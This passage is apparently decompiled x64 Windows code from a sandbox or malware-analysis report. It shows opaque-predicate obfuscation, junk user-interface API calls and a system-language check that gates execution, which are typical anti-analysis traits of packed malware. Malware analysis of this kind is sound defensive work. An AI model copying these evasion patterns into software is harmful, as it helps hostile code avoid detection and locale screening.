				if (_t1165 >= 0) goto 0xed0f82a4;
				 *0xed236f60 = _t989;
				sil = 0x24;
				_t128 = E00007FF67FF6ED184484(_t1315);
				if (_t1165 >= 0) goto 0xed0f82fa;
				_t1166 = ((_t128 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x5f;
				if (_t1166 <= 0) goto 0xed0f8321;
				GetTopWindow(??);
				E00007FF67FF6ED184484(_t1315);
				if (_t1166 >= 0) goto 0xed0f8317;
				goto 0xed0f838e;
				_t140 = E00007FF67FF6ED184484(_t1315) & 0x8000007f;
				if (_t140 >= 0) goto 0xed0f8331;
				if ((_t140 - _t989 | 0xffffff80) + _t989 != 0x58) goto 0xed0f8342;
				AnyPopup();
				E00007FF67FF6ED184484(_t1315);
				goto 0xed0f837c;
				dil = 0x28;
				goto 0xed0f835a;
				_t1170 = dil - 0x2c;
				if (_t1170 >= 0) goto 0xed0f8372;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				_t147 = E00007FF67FF6ED184484(_t1315);
				if (_t1170 >= 0) goto 0xed0f836d;
				_t1171 = ((_t147 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x43;
				if (_t1171 != 0) goto 0xed0f8347;
				_t152 = E00007FF67FF6ED184484(_t1315);
				if (_t1171 >= 0) goto 0xed0f8387;
				sil = sil + _t989;
				 *0xed236f60 = 0 | ((_t152 & 0x8000007f) - _t989 | 0xffffff80) + _t989 == 0x00000058;
				 *0xed236f60 = sil & 0xffffffff;
				_t1173 = sil - 0x2a;
				if (_t1173 < 0) goto 0xed0f82ea;
				_t158 = E00007FF67FF6ED184484(_t1315);
				if (_t1173 >= 0) goto 0xed0f83bb;
				_t1174 = ((_t158 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x1f;
				if (_t1174 > 0) goto 0xed0f83de;
				_t163 = E00007FF67FF6ED184484(_t1315);
				if (_t1174 >= 0) goto 0xed0f83d0;
				_t1175 = ((_t163 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x1f;
				 *0xed236f60 = 0 | _t1175 <= 0x00000000;
				E00007FF67FF6ED184484(_t1315);
				if (_t1175 >= 0) goto 0xed0f83ee;
				asm("movsd xmm6, [0x111782]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1175 < 0) goto 0xed0f8433;
				IsIconic(??);
				E00007FF67FF6ED184484(_t1315);
				if (_t1175 >= 0) goto 0xed0f841c;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1175 >= 0x00000000; // executed
				E00007FF67FF6ED106FB0(_t1175, _t1315, _t1317, _t1322); // executed
				_a152 = _t1315;
				E00007FF67FF6ED1075F0(0, _t1131, 0x8000007f, _t1316, _t1315, _t1327, _t1329, _t1331, _t1332);
				r9d = 0;
				r8d = r15d;
				E00007FF67FF6ED0F56BC(_t1175, _t1316, _t1315, _t1335, _t1315, _t1327, _t1328, _t1333, _t1334, _t1335, _t1336); // executed
				 *0xed236f60 = 0x35;
				_t1176 = 0x35 + _t989 - 0x37;
				if (_t1176 < 0) goto 0xed0f845e;
				_t184 = E00007FF67FF6ED184484(_t1315);
				r15d = 0x8000007f;
				r14d = 0xffffff80;
				if (_t1176 >= 0) goto 0xed0f848b;
				_t1177 = ((_t184 & r15d) - _t989 | r14d) + _t989 - 0xb;
				if (_t1177 == 0) goto 0xed0f84ae;
				GetMessageTime();
				_t190 = E00007FF67FF6ED184484(_t1315);
				if (_t1177 >= 0) goto 0xed0f84a7;
				_t1178 = ((_t190 & r15d) - _t989 | r14d) + _t989 - 0xb;
				goto 0xed0f84d5;
				E00007FF67FF6ED184484(_t1315);
				if (_t1178 >= 0) goto 0xed0f84bf;
				_t200 = E00007FF67FF6ED184484(_t1315);
				if (_t1178 >= 0) goto 0xed0f84d0;
				 *0xed236f60 = 0 | ((_t200 & r15d) - _t989 | r14d) + _t989 != 0x0000000f;
				GetLastActivePopup(??);
				GetDesktopWindow();
				GetTopWindow(??);
				GetCurrentProcess();
				_t1006 = sil;
				 *0xed236f60 = _t1006 & 0x000000ff;
				if (_t1006 + _t989 - 0x30 < 0) goto 0xed0f8502;
				_a144 = 0x4e;
				 *0xed236f60 = 0x4a;
				_t1181 = 0x4a + _t989 - 0x4e;
				if (_t1181 < 0) goto 0xed0f851d;
				AnyPopup();
				E00007FF67FF6ED184484(_t1315);
				if (_t1181 >= 0) goto 0xed0f8543;
				asm("movsd xmm6, [0x11158d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1181 <= 0) goto 0xed0f85be;
				_t217 = E00007FF67FF6ED184484(_t1315);
				if (_t1181 >= 0) goto 0xed0f856a;
				_t1182 = ((_t217 & r15d) - _t989 | r14d) + _t989 - 0x44;
				if (_t1182 == 0) goto 0xed0f858e;
				_t222 = E00007FF67FF6ED184484(_t1315);
				if (_t1182 >= 0) goto 0xed0f8580;
				_t1183 = ((_t222 & r15d) - _t989 | r14d) + _t989 - 0x44;
				 *0xed236f60 = 0 | _t1183 != 0x00000000;
				 *0xed236f60 = _t989;
				E00007FF67FF6ED184484(_t1315);
				if (_t1183 >= 0) goto 0xed0f85a5;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1183 > 0x00000000;
				goto 0xed0f860f;
				_t234 = E00007FF67FF6ED184484(_t1315);
				if (_t1183 >= 0) goto 0xed0f85cf;
				if (((_t234 & r15d) - _t989 | r14d) + _t989 != 0x61) goto 0xed0f85f0;
				dil = 0x14;
				E00007FF67FF6ED1EE3D8();
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				_t1185 = dil - 0x1d;
				if (_t1185 < 0) goto 0xed0f85d7;
				_t240 = E00007FF67FF6ED184484(_t1315);
				if (_t1185 >= 0) goto 0xed0f8601;
				_t1186 = ((_t240 & r15d) - _t989 | r14d) + _t989 - 0x61;
				 *0xed236f60 = 0 | _t1186 != 0x00000000;
				E00007FF67FF6ED184484(_t1315);
				if (_t1186 >= 0) goto 0xed0f8620;
				asm("movsd xmm6, [0x111510]");
				r15d = 4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1186 < 0) goto 0xed0f8674;
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t1315);
				if (_t1186 >= 0) goto 0xed0f8658;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1186 >= 0x00000000;
				goto 0xed0f8709;
				_t257 = E00007FF67FF6ED184484(_t1315);
				if (_t1186 >= 0) goto 0xed0f8687;
				_t1187 = ((_t257 & 0x8000007f) - _t989 | r14d) + _t989 - 0x2f;
				if (_t1187 != 0) goto 0xed0f8698;
				E00007FF67FF6ED184484(_t1315);
				goto 0xed0f86f0;
				dil = bpl;
				E00007FF67FF6ED184484(_t1315);
				if (_t1187 >= 0) goto 0xed0f86b0;
				asm("movsd xmm6, [0x111348]");
				goto 0xed0f86dd;
				_t1188 = dil - 0x6b;
				if (_t1188 >= 0) goto 0xed0f86eb;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1315);
				if (_t1188 >= 0) goto 0xed0f86dd;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1188 >= 0) goto 0xed0f86ba;
				_t274 = E00007FF67FF6ED184484(_t1315);
				if (_t1188 >= 0) goto 0xed0f86fb;
				_t1189 = ((_t274 & 0x8000007f) - _t989 | r14d) + _t989 - 0x2f;
				 *0xed236f60 = 0 | _t1189 == 0x00000000;
				_t279 = E00007FF67FF6ED184484(_t1315);
				if (_t1189 >= 0) goto 0xed0f8719;
				_t1190 = ((_t279 & 0x8000007f) - _t989 | r14d) + _t989 - 0x55;
				if (_t1190 <= 0) goto 0xed0f8742;
				E00007FF67FF6ED1EE020();
				_t284 = E00007FF67FF6ED184484(_t1315);
				if (_t1190 >= 0) goto 0xed0f8734;
				_t1191 = ((_t284 & 0x8000007f) - _t989 | r14d) + _t989 - 0x55;
				 *0xed236f60 = 0 | _t1191 > 0x00000000;
				GetMessageTime();
				GetCurrentProcessId();
				GetTopWindow(??);
				dil = r15b;
				E00007FF67FF6ED184484(_t1315);
				if (_t1191 >= 0) goto 0xed0f8769;
				asm("movsd xmm6, [0x11135f]");
				goto 0xed0f8796;
				_t1192 = dil - 0xf;
				if (_t1192 >= 0) goto 0xed0f87a6;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1315);
				if (_t1192 >= 0) goto 0xed0f8796;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1192 != 0) goto 0xed0f87a6;
				if (_t1192 == 0) goto 0xed0f8773;
				E00007FF67FF6ED184484(_t1315);
				if (_t1192 >= 0) goto 0xed0f87b6;
				asm("movsd xmm6, [0x1111fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1192 != 0) goto 0xed0f88ca;
				if (_t1192 != 0) goto 0xed0f88ca;
				_t308 = E00007FF67FF6ED184484(_t1315);
				if (_t1192 >= 0) goto 0xed0f87eb;
				if (((_t308 & 0x8000007f) - _t989 | r14d) + _t989 == 0x16) goto 0xed0f8825;
				 *0xed236f60 = 0xe;
				_t1194 = 0xe + _t989 - sil;
				if (_t1194 < 0) goto 0xed0f87f2;
				_t314 = E00007FF67FF6ED184484(_t1315);
				if (_t1194 >= 0) goto 0xed0f8812;
				_t1195 = ((_t314 & 0x8000007f) - _t989 | r14d) + _t989 - 0x16;
				 *0xed236f60 = 0 | _t1195 != 0x00000000;
				goto 0xed0f88f6;
				_t319 = E00007FF67FF6ED184484(_t1315);
				if (_t1195 >= 0) goto 0xed0f8835;
				_t1196 = ((_t319 & 0x8000007f) - _t989 | r14d) + _t989 - 0x29;
				if (_t1196 == 0) goto 0xed0f8888;
				_t324 = E00007FF67FF6ED184484(_t1315);
				if (_t1196 >= 0) goto 0xed0f884a;
				_t1197 = ((_t324 & 0x8000007f) - _t989 | r14d) + _t989 - 0x5a;
				if (_t1197 == 0) goto 0xed0f8854;
				E00007FF67FF6ED1EE3D8();
				_t329 = E00007FF67FF6ED184484(_t1315);
				if (_t1197 >= 0) goto 0xed0f8864;
				_t1198 = ((_t329 & 0x8000007f) - _t989 | r14d) + _t989 - 0x5a;
				 *0xed236f60 = 0 | _t1198 != 0x00000000;
				_t334 = E00007FF67FF6ED184484(_t1315);
				if (_t1198 >= 0) goto 0xed0f8881;
				goto 0xed0f88bc;
				_t339 = E00007FF67FF6ED184484(_t1315);
				if (((_t334 & 0x8000007f) - _t989 | r14d) + _t989 - 0x29 >= 0) goto 0xed0f8898;
				_t1200 = ((_t339 & 0x8000007f) - _t989 | r14d) + _t989 - 0x17;
				if (_t1200 == 0) goto 0xed0f8802;
				E00007FF67FF6ED1EE3E0();
				_t344 = E00007FF67FF6ED184484(_t1315);
				if (_t1200 >= 0) goto 0xed0f88b7;
				_t1201 = ((_t344 & 0x8000007f) - _t989 | r14d) + _t989 - 0x17;
				 *0xed236f60 = 0 | _t1201 != 0x00000000;
				goto 0xed0f8802;
				E00007FF67FF6ED184484(_t1315);
				if (_t1201 >= 0) goto 0xed0f88da;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1201 != 0) goto 0xed0f88ee;
				if (_t1201 != 0) goto 0xed0f88ee;
				goto 0xed0f88f0;
				 *0xed236f60 = _t989;
				dil = 0x4b;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1315);
				if (_t1201 >= 0) goto 0xed0f8916;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1111da]");
				if (_t1201 < 0) goto 0xed0f892e;
				_t1202 = dil - 0x4f;
				if (_t1202 < 0) goto 0xed0f88f9;
				asm("movsd xmm6, [0x111222]");
				dil = 0x30;
				E00007FF67FF6ED184484(_t1315);
				if (_t1202 >= 0) goto 0xed0f8949;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1315);
				if (_t1202 >= 0) goto 0xed0f8961;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1202 >= 0x00000000;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x41 < 0) goto 0xed0f8939;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x19;
				if (0x19 + _t989 - 0x20 < 0) goto 0xed0f8995;
				 *0xed236f60 = 0x39;
				if (0x39 + _t989 - 0x42 < 0) goto 0xed0f89a7;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x63;
				_t1206 = 0x63 + _t989 - 0x74;
				if (_t1206 < 0) goto 0xed0f89bf;
				 *0xed236f60 = 0;
				_t380 = E00007FF67FF6ED184484(_t1315);
				if (_t1206 >= 0) goto 0xed0f89e9;
				if (((_t380 & 0x8000007f) - _t989 | r14d) + _t989 - 0x1b > 0) goto 0xed0f8a1e;
				 *0xed236f60 = 0x16;
				_t1208 = 0x16 + _t989 - 0x19;
				if (_t1208 < 0) goto 0xed0f89f0;
				_t386 = E00007FF67FF6ED184484(_t1315);
				if (_t1208 >= 0) goto 0xed0f8a10;
				_t1209 = ((_t386 & 0x8000007f) - _t989 | r14d) + _t989 - 0x1b;
				 *0xed236f60 = 0 | _t1209 <= 0x00000000;
				GetTopWindow(??);
				GetCurrentProcessId();
				E00007FF67FF6ED184484(_t1315);
				if (_t1209 >= 0) goto 0xed0f8a3c;
				asm("movsd xmm6, [0x11116c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1209 < 0) goto 0xed0f8a79;
				E00007FF67FF6ED184484(_t1315);
				if (_t1209 >= 0) goto 0xed0f8a62;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1209 >= 0x00000000;
				bpl = 0x2d;
				 *0xed236f60 = 0x1f;
				if (0x1f + _t989 - bpl < 0) goto 0xed0f8a7e;
				r14b = 0x31;
				dil = r14b;
				GetTickCount();
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x39 < 0) goto 0xed0f8a94;
				GetCurrentProcess();
				sil = 7;
				dil = 0x36;
				goto 0xed0f8ace;
				_t1212 = dil - 0x4a;
				if (_t1212 >= 0) goto 0xed0f8ae6;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				_t410 = E00007FF67FF6ED184484(_t1315);
				if (_t1212 >= 0) goto 0xed0f8ae1;
				if (((_t410 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x60 >= 0) goto 0xed0f8abb;
				sil = sil + _t989;
				 *0xed236f60 = sil & 0xffffffff;
				_t1214 = sil - 0x12;
				if (_t1214 < 0) goto 0xed0f8ab6;
				 *0xed236f60 = 0x5d;
				_t416 = E00007FF67FF6ED184484(_t1315);
				if (_t1214 >= 0) goto 0xed0f8b19;
				_t1215 = ((_t416 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x6d;
				if (_t1215 == 0) goto 0xed0f8b89;
				E00007FF67FF6ED184484(_t1315);
				if (_t1215 >= 0) goto 0xed0f8b2e;
				asm("movsd xmm6, [0x111062]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1215 < 0) goto 0xed0f8b6b;
				E00007FF67FF6ED184484(_t1315);
				if (_t1215 >= 0) goto 0xed0f8b54;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1215 >= 0x00000000;
				_t433 = E00007FF67FF6ED184484(_t1315);
				if (_t1215 >= 0) goto 0xed0f8b7b;
				_t1216 = ((_t433 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x6d;
				 *0xed236f60 = 0 | _t1216 != 0x00000000;
				dil = 0x26;
				_t438 = E00007FF67FF6ED184484(_t1315);
				if (_t1216 >= 0) goto 0xed0f8b9f;
				_t1217 = ((_t438 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0xf;
				if (_t1217 >= 0) goto 0xed0f8bbe;
				_t443 = E00007FF67FF6ED184484(_t1315);
				if (_t1217 >= 0) goto 0xed0f8bb7;
				goto 0xed0f8bee;
				_t448 = E00007FF67FF6ED184484(_t1315);
				if (((_t443 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0xf >= 0) goto 0xed0f8bd1;
				_t1219 = ((_t448 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x50;
				if (_t1219 >= 0) goto 0xed0f8bf7;
				_t453 = E00007FF67FF6ED184484(_t1315);
				if (_t1219 >= 0) goto 0xed0f8be9;
				 *0xed236f60 = 0 | ((_t453 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x00000050 < 0x00000000;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				_t1221 = dil - 0x30;
				if (_t1221 < 0) goto 0xed0f8b8c;
				GetLastActivePopup(??);
				_t460 = E00007FF67FF6ED184484(_t1315);
				if (_t1221 >= 0) goto 0xed0f8c25;
				_t1222 = ((_t460 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x68;
				if (_t1222 < 0) goto 0xed0f8c4a;
				_t465 = E00007FF67FF6ED184484(_t1315);
				if (_t1222 >= 0) goto 0xed0f8c41;
				goto 0xed0f8c99;
				_t470 = E00007FF67FF6ED184484(_t1315);
				if (((_t465 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x68 >= 0) goto 0xed0f8c5d;
				if (((_t470 & 0x8000007f) - _t989 | 0xffffff80) + _t989 == 0x62) goto 0xed0f8c9f;
				dil = 0x11;
				 *0xed1ee008();
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				_t1225 = dil - 0x1f;
				if (_t1225 < 0) goto 0xed0f8c65;
				_t477 = E00007FF67FF6ED184484(_t1315);
				if (_t1225 >= 0) goto 0xed0f8c91;
				_t1226 = ((_t477 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x62;
				 *0xed236f60 = 0 | _t1226 != 0x00000000;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0;
				GetLastActivePopup(??);
				GetParent(??);
				_t484 = E00007FF67FF6ED184484(_t1315);
				if (_t1226 >= 0) goto 0xed0f8cd6;
				_t1227 = ((_t484 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 8;
				if (_t1227 < 0) goto 0xed0f8cff;
				_t489 = E00007FF67FF6ED184484(_t1315);
				if (_t1227 >= 0) goto 0xed0f8cf2;
				_t1228 = ((_t489 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 8;
				 *0xed236f60 = 0 | _t1228 >= 0x00000000;
				dil = 7;
				_t494 = E00007FF67FF6ED184484(_t1315);
				if (_t1228 >= 0) goto 0xed0f8d15;
				_t1229 = ((_t494 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x1e;
				if (_t1229 <= 0) goto 0xed0f8d3b;
				_t499 = E00007FF67FF6ED184484(_t1315);
				if (_t1229 >= 0) goto 0xed0f8d2d;
				 *0xed236f60 = 0 | ((_t499 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x0000001e > 0x00000000;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				_t1231 = dil - 0x14;
				if (_t1231 < 0) goto 0xed0f8d02;
				GetDesktopWindow();
				 *0xed236f60 = _t989;
				GetUserDefaultLangID(); // executed
				GetForegroundWindow(); // executed
				GetForegroundWindow();
				 *0xed236f60 = _t989;
				_t509 = E00007FF67FF6ED184484(_t1315);
				if (_t1231 >= 0) goto 0xed0f8d87;
				_t1232 = ((_t509 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x46;
				if (_t1232 >= 0) goto 0xed0f8dac;
				_t514 = E00007FF67FF6ED184484(_t1315);
				if (_t1232 >= 0) goto 0xed0f8d9c;
				_t1233 = ((_t514 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x46;
				 *0xed236f60 = 0 | _t1233 < 0x00000000;
				goto 0xed0f8db2;
				 *0xed236f60 = _t989;
				_t519 = E00007FF67FF6ED184484(_t1315);
				if (_t1233 >= 0) goto 0xed0f8dc2;
				_t1234 = ((_t519 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - _t989;
				if (_t1234 >= 0) goto 0xed0f8de3;
				_t524 = E00007FF67FF6ED184484(_t1315);
				if (_t1234 >= 0) goto 0xed0f8dd6;
				_t1235 = ((_t524 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - _t989;
				 *0xed236f60 = 0 | _t1235 < 0x00000000;
				asm("movsd xmm6, [0x110cbd]");
				dil = 0x1f;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1315);
				if (_t1235 >= 0) goto 0xed0f8e0e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1235 < 0) goto 0xed0f8e21;
				_t1236 = dil - bpl;
				if (_t1236 < 0) goto 0xed0f8dee;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0;
				dil = 0x57;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				_t536 = E00007FF67FF6ED184484(_t1315);
				if (_t1236 >= 0) goto 0xed0f8e54;
				if (((_t536 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x74 >= 0) goto 0xed0f8e5f;
				_t1238 = dil - 0x60;
				if (_t1238 < 0) goto 0xed0f8e34;
				E00007FF67FF6ED184484(_t1315);
				if (_t1238 >= 0) goto 0xed0f8e74;
				asm("movsd xmm6, [0x110d3c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1238 != 0) goto 0xed0f8e94;
				if (_t1238 != 0) goto 0xed0f8e94;
				 *0xed236f60 = _t989;
				goto 0xed0f8ec0;
				_t546 = E00007FF67FF6ED184484(_t1315);
				if (_t1238 >= 0) goto 0xed0f8ea4;
				_t1239 = ((_t546 & 0x8000007f) - _t989 | 0xffffff80) + _t989;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1239 != 0) goto 0xed0f8eb8;
				if (_t1239 != 0) goto 0xed0f8eb8;
				goto 0xed0f8eba;
				 *0xed236f60 = _t989;
				GetMessageExtraInfo();
				_t554 = E00007FF67FF6ED184484(_t1315);
				if (_t1239 >= 0) goto 0xed0f8ed6;
				if (((_t554 & 0x8000007f) - _t989 | 0xffffff80) + _t989 - 0x5d >= 0) goto 0xed0f8f2f;
				sil = 0x28;
				dil = 0x2b;
				E00007FF67FF6ED1EE020();
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - r14b < 0) goto 0xed0f8ee0;
				sil = sil + _t989;
				 *0xed236f60 = sil & 0xffffffff;
				_t1242 = sil - 0x34;
				if (_t1242 < 0) goto 0xed0f8edd;
				_t561 = E00007FF67FF6ED184484(_t1315);
				r14d = 0x8000007f;
				if (_t1242 >= 0) goto 0xed0f8f22;
				goto 0xed0f8fbf;
				_t566 = E00007FF67FF6ED184484(_t1315);
				r14d = 0x8000007f;
				if (((_t561 & r14d) - _t989 | 0xffffff80) + _t989 - 0x5d >= 0) goto 0xed0f8f42;
				_t569 = (_t566 & 0x8000007f) - _t989 | 0xffffff80;
				asm("enter 0x380, 0xc3");
				_t1245 = _t569 - 0x15;
				if (_t1245 != 0) goto 0xed0f8fc5;
				E00007FF67FF6ED184484(_t1315);
				if (_t1245 >= 0) goto 0xed0f8f58;
				asm("movsd xmm6, [0x110af8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1245 <= 0) goto 0xed0f8f98;
				E00007FF67FF6ED184484(_t1315);
				if (_t1245 >= 0) goto 0xed0f8f7f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1245 > 0x00000000;
				goto 0xed0f8fa6;
				E00007FF67FF6ED1EE3B8();
				 *0xed236f60 = _t989;
				_t582 = E00007FF67FF6ED184484(_t1315);
				if (_t1245 >= 0) goto 0xed0f8fb7;
				_t1246 = ((_t582 & r14d) - _t989 | 0xffffff80) + _t989 - 0x15;
				 *0xed236f60 = 0 | _t1246 == 0x00000000;
				dil = 0x5f;
				_t587 = E00007FF67FF6ED184484(_t1315);
				if (_t1246 >= 0) goto 0xed0f8fd9;
				_t1247 = ((_t587 & r14d) - _t989 | 0xffffff80) + _t989 - 0x27;
				if (_t1247 <= 0) goto 0xed0f8ffd;
				_t592 = E00007FF67FF6ED184484(_t1315);
				if (_t1247 >= 0) goto 0xed0f8fef;
				 *0xed236f60 = 0 | ((_t592 & r14d) - _t989 | 0xffffff80) + _t989 - 0x00000027 > 0x00000000;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				_t1249 = dil - 0x73;
				if (_t1249 < 0) goto 0xed0f8fc8;
				GetParent(??);
				IsIconic(??);
				dil = 2;
				E00007FF67FF6ED184484(_t1315);
				if (_t1249 >= 0) goto 0xed0f9034;
				_t605 = E00007FF67FF6ED184484(_t1315);
				if (_t1249 >= 0) goto 0xed0f9045;
				dil = dil + _t989;
				 *0xed236f60 = 0 | ((_t605 & r14d) - _t989 | 0xffffff80) + _t989 > 0x00000000;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x15 < 0) goto 0xed0f9023;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x52;
				_t1252 = 0x52 + _t989 - 0x5b;
				if (_t1252 < 0) goto 0xed0f906d;
				dil = 0x6b;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1315);
				if (_t1252 >= 0) goto 0xed0f909e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x110b32]");
				if (_t1252 < 0) goto 0xed0f90b6;
				if (dil - 0x75 < 0) goto 0xed0f9080;
				GetWindowTextLengthW(??);
				r13b = r13b + _t989;
				 *0xed236f60 = r13b & 0xffffffff;
				_t1254 = r13b - 0x11;
				if (_t1254 < 0) goto 0xed0f90be;
				_t621 = E00007FF67FF6ED184484(_t1315);
				r13d = 0xffffff80;
				if (_t1254 >= 0) goto 0xed0f90e8;
				_t1255 = ((_t621 & r14d) - _t989 | r13d) + _t989 - 7;
				if (_t1255 >= 0) goto 0xed0f910e;
				_t626 = E00007FF67FF6ED184484(_t1315);
				if (_t1255 >= 0) goto 0xed0f90fe;
				_t1256 = ((_t626 & r14d) - _t989 | r13d) + _t989 - 7;
				 *0xed236f60 = 0 | _t1256 < 0x00000000;
				goto 0xed0f9120;
				GetLastActivePopup(??);
				 *0xed236f60 = 0;
				asm("movsd xmm6, [0x110990]");
				dil = 0x38;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1315);
				if (_t1256 >= 0) goto 0xed0f9149;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1256 != 0) goto 0xed0f915f;
				if (_t1256 != 0) goto 0xed0f915f;
				if (dil - 0x44 < 0) goto 0xed0f912b;
				AnyPopup();
				 *0xed236f60 = 0x21;
				_t1258 = 0x21 + _t989 - 0x33;
				if (_t1258 < 0) goto 0xed0f9167;
				dil = 0x30;
				dil = dil + _t989;
				 *0xed236f60 = dil & 0xffffffff;
				_t641 = E00007FF67FF6ED184484(_t1315);
				if (_t1258 >= 0) goto 0xed0f9198;
				if (((_t641 & r14d) - _t989 | r13d) + _t989 - 0x4b <= 0) goto 0xed0f91a3;
				if (dil - 0x38 < 0) goto 0xed0f917a;
				GetWindowTextLengthW(??);
				_t647 = GetUserDefaultLangID();
				r8d = 0x2361;
				0xed104f70();
				if (_t647 != 0) goto 0xed0fa5f6;
				r8d = 0;
				E00007FF67FF6ED0FCE80(0, _t1316, _a152, _t1327);
				 *0xed236f60 = 0x30;
				_t1262 = 0x30 + _t989 - sil;
				if (_t1262 < 0) goto 0xed0f91f1;
				 *0xed236f60 = _t989;
				GetForegroundWindow();
				_t651 = E00007FF67FF6ED184484(_t1315);
				if (_t1262 >= 0) goto 0xed0f921e;
				_t1263 = ((_t651 & r14d) - _t989 | r13d) + _t989 - 0x77;
				if (_t1263 <= 0) goto 0xed0f9242;
				_t656 = E00007FF67FF6ED184484(_t1315);
				if (_t1263 >= 0) goto 0xed0f9234;
				_t1264 = ((_t656 & r14d) - _t989 | r13d) + _t989 - 0x77;
				 *0xed236f60 = 0 | _t1264 > 0x00000000;
				GetDoubleClickTime();
				_t662 = E00007FF67FF6ED184484(_t1315);
